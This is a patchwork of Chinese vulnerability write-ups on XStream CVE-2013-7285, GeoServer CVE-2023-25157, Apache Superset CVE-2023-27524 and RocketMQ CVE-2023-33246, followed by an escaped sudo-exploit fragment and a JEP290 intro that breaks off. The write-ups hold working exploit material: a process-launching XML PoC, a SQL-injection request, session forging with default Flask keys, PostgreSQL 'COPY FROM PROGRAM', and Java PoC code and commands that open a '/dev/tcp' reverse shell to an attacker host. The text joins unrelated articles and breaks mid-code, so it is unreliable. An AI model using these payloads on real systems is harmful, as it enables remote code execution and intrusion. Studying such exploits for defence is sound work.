//作用:获取interface的name,即获得Comparable,检查name是否等于以下3个名称          String var4 = var2.getName();          if (var2.getDeclaringClass() == Object.class) {              if (var4.equals("hashCode")) {                  return new Integer(System.identityHashCode(var1));             }                if (var4.equals("equals")) {                  return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;             }                if (var4.equals("toString")) {                  return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());             }         }   //-------------------------------------part2----------------------------------   //貌似获取了一个class和object          if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {              return null;         } else {              Class[] var5 = null;              Object[] var6 = null;              if (this.eventPropertyName == null) {                  var6 = new Object[0];                  var5 = new Class[0];             } else {                  Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());                  var6 = new Object[]{var7};                  var5 = new Class[]{var7 == null ? null : var7.getClass()};             }   //------------------------------------------------------------------------------              try {                  int var12 = this.action.lastIndexOf(46);                  if (var12 != -1) {                      this.target = this.applyGetters(this.target, this.action.substring(0, var12));                      this.action = this.action.substring(var12 + 1);                 }   //--------------------------------------part3----------------------------------------   //var13获取了method的名称, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException                  Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);   //--------------------------------------------------------------------------   //判断var13是否为空,当然不为空啦                  if (var13 == null) {                      var13 = Statement.getMethod(this.target.getClass(), "set" + NameGenerator.capitalize(this.action), var5);                 }                    if (var13 == null) {                      String var9 = var5.length == 0 ? " with no arguments" : " with argument " + var5[0];                      throw new RuntimeException("No method called " + this.action + " on " + this.target.getClass() + var9);                 } else {   //-------------------------------------part4----------------------------------   //调用invoke,调用函数,执行命令                      return MethodUtil.invoke(var13, this.target, var6);                 }   //------------------------------------------------------------------------------             } catch (IllegalAccessException var10) {                  throw new RuntimeException(var10);             } catch (InvocationTargetException var11) {                  Throwable var8 = var11.getTargetException();                  throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);             }         }   } 有一说一看到这里的时候,就感觉 XStream 可能比较多的会通过动态代理作为 sink DynamicProxyConverter 动态代理转换器 DynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象: XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。 以官网给的例子为例: <dynamic-proxy>    <interface>com.foo.Blah</interface>    <interface>com.foo.Woo</interface>    <handler class="com.foo.MyHandler">      <something>blah</something>    </handler>   </dynamic-proxy> dynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah 或 com.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler 0x02 CVE-2013-7285 PoC <sorted-set>    <dynamic-proxy>      <interface>java.lang.Comparable</interface>      <handler class="java.beans.EventHandler">        <target class="java.lang.ProcessBuilder">          <command>            <string>Calc</string>          </command>        </target>        <action>start</action>      </handler>    </dynamic-proxy>   </sorted-set> 看到 PoC 这里大致是明白了,在之前有一段代码是读取每一个 XML 的节点,读取这些节点之后应该是用动态代理触发 invoke() 了 触发代码 import com.thoughtworks.xstream.XStream;   import com.thoughtworks.xstream.io.xml.DomDriver;     import java.io.FileInputStream;     // CVE_2013_7285 Exploit   public class CVE_2013_7285 {      public static void main(String[] args) throws Exception{          FileInputStream fileInputStream = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");          XStream xStream = new XStream(new DomDriver());          xStream.fromXML(fileInputStream);     }   } 漏洞原理 XStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。 利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。 漏洞分析 下断点调试一下,这里前面的流程和分析 XStream 流程是类似的,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型 后面会跟进到 mapper.realClass() 进行循环遍历,用来查找 XML 中的根标签为何类型(前面也都分析过了),接着是调用 convertAnother() 函数对 java.util.SortedSet 类型进行转换,我们跟进去该函数,其中调用 mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型 接着就是寻找 Convert 的过程,这里寻找到对应的转换器是 TreeMapConverter 转换器 往下调试,在 AbstractReferenceUnmarshaller.convert() 函数中看到,会调用 getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中,这个 Reference 键后续会和保存的类型 —— java.util.TreeSet 类一一对应起来。 接着调用其父类即的 FastStack.convert() 方法,跟进去,显示将类型压入栈,然后调用转换器 TreeSetConverter 的 unmarshal() 方法: 在它第 61 行调用了 treeMapConverter.unmarshalComparator() 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。 跟进之后就变得一目了然了,其中判断 reader 是否还有子元素 下面的 reader.movedown() 方法做了获取子元素,并把子元素添加到当前 context 的 pathTracker 往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中: 跟进去,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中 这里再跟进 readItem() 方法,会发现比较有意思的一点是它又调用了 HierarchicalStreams.readClassType() 和 context.convertAnother() 方法,而这里的元素已经变成了第二个元素,也就是 <dynamic-proxy>,这里有点像是递归调用 可以跟进去看一下,这里通过查看 mapper 可以知道目前拿去保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个) 经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,对应的转换器为 DynamicProxyConverter,跟进到其中来看具体处理。 先判断当前元素是否还有子元素,并获取该子元素进行后续判断 根据我们所编写的 xml,获取到的子元素为 <interface>,经过判断 if (elementName.equals("interface")),如果为 true,则将目前 <interface> 节点的元素获取到,再获得转换类型。 因为仍旧存在子元素,获取完 <interface> 后重新进入这个迭代,下一个获取到的子元素是 <handler>。这里程序会判断是否等于 handler,如果等于 handler,则获取它标签所对应的类,并跳出迭代。 往下走,第 125 行调用了 Proxy.newProxyInstance() 方法,这里是动态代理中的,实例化代理类的过程。第 127 行这里,调用 context.convertAnother() 方法,跟进一下。对应的转换器是 AbstractReflectionConverter,它会先调用 instantiateNewInstance() 方法实例化一个 EventHandler 类 往下,跟进 doUnmarshal() 方法,这里又是一层内部递归,从 xml 中可以看到 <handler> 节点之下还有很多子节点(又看到了熟悉的 hasChildren() 这时我们获取到的 type 为 class java.lang.ProcessBuilder,跟进 unmarshallField() 方法 后面也都是类似的运行流程了,这里就不再废话,师傅们可以自行分析一下,是很容易看懂的;XSteam 虽然处理了 xml,且我们也基本明白了基础运行流程,但是最后漏洞触发这里还是要关注一下。 将所有的节点过完一遍之后,最终还是会走到 treeMapConverter.populateTreeMap() 这个地方 跟进,直到第 122 行,调用 put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据 最终是调用到 EventHandler.invoke() 方法调用栈如下,还是比较简单的 invoke:428, EventHandler (java.beans) compareTo:-1, $Proxy0 (com.sun.proxy) compare:1294, TreeMap (java.util) put:538, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections) 最后成功调用了 java.lang.ProcessBuilder#start 方法,命令执行 0x03 漏洞修复 根据官方的修复手段,这里其实增加了黑名单 Users can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case: xstream.registerConverter(new Converter() {  public boolean canConvert(Class type) {    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type)); }  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {    throw new ConversionException("Unsupported type due to security reasons."); }  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {    throw new ConversionException("Unsupported type due to security reasons."); } }, XStream.PRIORITY_LOW); 0x04 小结 XStream 最基础的漏洞是 CVE-2013-7285,通过这个漏洞可以很好的先认识 XStream 的基础运行流程,后续的漏洞挖掘和修复也算是一些《攻防史》,还是比较有意思的。
浅析GeoServer CVE-2023-25157 SQL注入
简介 GeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。 影响版本 geoserver<2.18.7 2.19.0<=geoserver<2.19.7 2.20.0<=geoserver<2.20.7 2.21.0<=geoserver<2.21.4 2.22.0<=geoserver<2.22.2 环境搭建 安装方式有多种可以选择 windwos下载安装 https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download下载后只需要指定端口直接下载可完成安装 war包安装 tomcat下载地址 https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zipgeoserver下载地址 https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war 把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。 启动tomcat 访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081 http://localhost:8081/geoserver/web/ 分析 POC下载链接 https://github.com/win3zz/CVE-2023-25157python3 CVE-2023-25157.py http://localhost:8081 查看提交的补丁分析一下漏洞 https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java 重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块 属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程 public ConfigDatabase(            JDBCLoaderProperties properties,            DataSource dataSource,            XStreamInfoSerialBinding binding) {        this(properties, dataSource, binding, null);   }    public ConfigDatabase(            JDBCLoaderProperties properties,            final DataSource dataSource,            final XStreamInfoSerialBinding binding,            CacheProvider cacheProvider) {        this.properties = properties;        this.binding = binding;        this.template = new NamedParameterJdbcTemplate(dataSource); 通过使用参数化查询而不是字符串连接 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改         //sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n");         //sql.append(") query\n");           sql.insert(                   0,                   "SELECT * FROM (SELECT query.*, rownum rnum FROM ("                           + (isDebugMode() ? "\n" : ""));           sql.append(") query");           appendIfDebug(sql, "\n", " "); 修改了插入语法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java 中定义 public boolean isDebugMode() {        return debugMode;   }    public void setDebugMode(boolean debugMode) {        this.debugMode = debugMode;   }    /** Escapes the contents of the SQL comment to prevent SQL injection. */    public String escapeComment(String comment) {        String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");        return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");   }    /** Appends the objects to the SQL in a comment if debug mode is enabled. */    public StringBuilder appendComment(StringBuilder sql, Object... objects) {        if (!debugMode) {            return sql;       }        sql.append(" /* ");        for (Object object : objects) {            sql.append(escapeComment(String.valueOf(object)));       }        return sql.append(" */\n");   }    /** Appends the objects to the SQL in an comment if debug mode is enabled. */    public StringBuilder appendComment(Object sql, Object... objects) {        return appendComment((StringBuilder) sql, objects);   }    /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {        return sql.append(debugMode ? ifEnabled : ifDisabled);   } 获取功能名POC GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 获取功能属性POC GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 构造恶意payload GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 这里引用一张图,geotools的注入漏洞 漏洞编号CVE-2023-25158,查看补丁发现 在类中添加该escapeBackslash字段https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符 // single quotes must be escaped to have a valid sql string String escaped = escapeLiteral(encoding); 调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号 public static String escapeLiteral(           String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {           // ' --> ''           String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");           if (escapeBackslash) {               // \ --> \\               escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");           }           if (escapeDoubleQuote) {               // " --> \"               escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");           }           return escaped; 至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章 https://blog.csdn.net/nmj2008/article/details/113869086修复方案 升级安全版本,目前已经有最新版本。
Apache Superset 身份认证绕过漏洞(CVE-2023-27524)
漏洞简介 Apache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默认值进行更改,未经身份验证的攻击者通过伪造管理员身份进行访问后台,并通过后台原本数据库执行功能实现命令执行操作。‍ 环境搭建 可以通过 fofa 来搜索相关网站 "Apache Superset" 这里我们通过 docker 来在本地搭建环境 git clone https://github.com/apache/superset.git cd superset git checkout 2.0.0 TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up 官网提供的方法 并没有搭建成功,还是直接在docker 仓库中查找 https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0&& docker pull apache/superset:2.0.0 docker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email admin@superset.com --password admin docker exec -it superset superset db upgrade docker exec -it superset superset load_examples docker exec -it superset superset init 漏洞复现 利用脚本检测是否存在漏洞并生成相对应的 cookie 访问主页抓取数据包 将生成的 session 替换原本的 session 成功登录 接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。 经过复现分析,发现存在的问题还比较多,首先是默认情况下执行语句仅仅支持 SELECT ,需要修改数据库的权限允许其他的一些语句(but 一些版本上是没有对数据库的操作权限的),然后就是获取的权限,本质上也只是获取了数据库的执行权限,数据库有可能并不与 superset 在同一服务器上,再有就是需要数据库本身也需要存在漏洞才可以,我这里选取了 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞来复现漏洞。 DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; 漏洞分析 感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥 SECRET_KEYS = [   b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1   b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1   b'thisISaSECRET_1234',                            # deployment template   b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation   b'TEST_NON_DEV_SECRET'                            # docker compose ] Superset 是用 Python 编写的,基于 Flask Web 框架。基于 Flask 的应用程序的常见做法是使用加密签名的会话 cookie 进行用户状态管理。当用户登录时,Web 应用程序将包含用户标识符的会话 cookie 发送回最终用户的浏览器。Web 应用程序使用 SECERT_KEY 对 cookie 进行签名,该值应该时随机生成的,通常存储在本地配置文件中,对于每个 Web 请求,浏览器都会将已签名的会话 cookie 发送回应用程序,然后应用程序验证 cookie 上的签名以处理请求之前重新验证用户。 整段描述下面我感觉跟 JWT 的相关验证方式差不太多,我们具体来操作看看。 首先就是请求的时候我们可以看到 cookie 值 可以解码成功,通过爆破(当然我们这里是已经已知这个 key 值),伪造生成用户的 cookie,替换数据包中的cookie 值,就成功登录成功,之后再次请求的时候,发现我们添加的字段已经被保存在 session 值中 >>> from flask_unsign import session >>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY") {'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'} >>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET') 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY' >>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM") {'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1} 漏洞修复 拒绝在非调试环境中使用默认密码启动 ‍
CVE-2023-33246命令执行复现分析
RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。 影响版本 <=RocketMQ 5.1.0 <=RocketMQ 4.9.5 环境搭建 docker pull apache/rocketmq:4.9.4 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv     //起nameserver 创建broker.conf,并且修改配置文件内容 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf   //起Broker docker ps http://127.0.0.1:10912/python3 check.py --ip 10.10.14.72 --port 9876 python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666/1.txt 使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题 cd vulhub/rocketmq/CVE-2023-33246 docker-compose up -d POC如下 import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "目的IP";        String targetPort = "10911";            String shellHost = "VPSIP";        String shellPort = "Listen-port";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 使用IDEA创建maven项目,创建xml文件下载依赖,下载地址 https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools/4.9.4<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --> <dependency>    <groupId>org.apache.rocketmq</groupId>    <artifactId>rocketmq-tools</artifactId>    <version>4.9.4</version> </dependency> 修改POC import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "10.10.14.72";        String targetPort = "10911";            String shellHost = "10.10.14.72";        String shellPort = "65532";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 反弹结果 git clone https://github.com/SuperZero/CVE-2023-33246.git java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "222 >/root/2.txt" 进入容器,查看根部录下文件是已写入 java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "bash -i >& /dev/tcp/10.10.14.72/65532 0>&1" 反弹shell 漏洞分析 启动broker路由如下: main:50, BrokerStartup (org.apache.rocketmq.broker) start:55, BrokerStartup (org.apache.rocketmq.broker) start:1570, BrokerController (org.apache.rocketmq.broker) startBasicService:1527, BrokerController (org.apache.rocketmq.broker) start:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv) 当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行 调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand 该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd 进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令 该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。
)\r\n612: *dst++ = '\\\\';\r\n613:    *dst++ = *src;\r\n614: }\r\n615: *dst++ = ' ';\r\n616:   }\r\n617:    if (cmnd != dst)\r\n618: dst--;  \u002F* replace last space with a NUL *\u002F\r\n619:    *dst = '\\0';\r\n620: \r\n621:    ac += 2; \u002F* -c cmnd *\u002F\r\n622: }\r\n \r\n\r\n这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的\r\n\r\n绕过检验\r\n\r\n那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素\r\n\r\n首先是如何才能过进入set_cmnd函数,sudo会经过两重检测\r\n\r\n\r\nsudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位\r\n\r\n\r\nsudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位\r\n\r\n\r\nFile: plugins\\sudoers\\sudoers.c\r\n ...\r\n819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { \u002F\u002F需要满足标志位的设置才能进入转义的流程\r\n   ...\r\n858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { \u002F\u002F需要满足标志位的设置才能进入转义的流程\r\n想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。\r\nFile: src\\parse_args.c\r\n479: case 's':\r\n480:    sudo_settings[ARG_USER_SHELL].value = \"true\";\r\n481:    SET(flags, MODE_SHELL);\r\n482:    break;\r\n ...\r\n534: if (!mode)\r\n535:    mode = MODE_RUN; \u002F* running a command *\u002F\r\n536:     }\r\n\r\n但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\\',那么就会导致我们无法构造'' + '\\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数\r\n\r\nFile: src\\parse_args.c\r\n592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { \u002F\u002F需要满足标志位的设置才会进入反转义流程\r\n   ...\r\n608:    for (av = argv; *av != NULL; av++) {\r\n609: for (src = *av; *src != '\\0'; src++) {\r\n610:    \u002F* quote potential meta characters *\u002F\r\n611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '
浅谈 JEP290
0x01 前言 属于是拖了很久的文章了,4.18 筹划着开始写,6.22 左右才真正开始提笔。 一开始提到这个概念可能会比较懵逼,其实这就是为什么高版本 jdk 有部分能打 jndi,打不了 RMI 8u121 ~ 8u230 打不了 RMI 0x02 关于 JEP290 JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事 1、提供一个限制反序列化类的机制,白名单或者黑名单。2、限制反序列化的深度和复杂度。3、为 RMI 远程调用对象提供了一个验证类的机制。4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。 官方从 8u121,7u13,6u141 分别支持了这个 JEP 0x03 JEP290 防御手段分析 先起一个 RMI 的服务,代码详见 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI 尝试去攻击,这里会报错,报错部分信息为 java.io.ObjectInputStream filterCheck 信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler 可以先看一下官方文档对于 JEP290 的描述 http://openjdk.java.net/jeps/290 我们很容易通过描述来看对应增加的 Filter 点是什么,如图找到了 ObjectInputFilter 相关的类 我这里去看了看 ObjectInputFilter 相关的类,断点是下不去的,所以去到控制台去看,发现在 RegistryImpl_Skel 类中也存在报错现象,而这个类在 RMI 中是用来做反序列化的方法的。 跟进,ObjectInputStream 类调用了 readObject0() 方法,继续跟进 先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断,后续做了一部分的数据处理工作,我们直接来看最重要的地方 1573 行,调用了 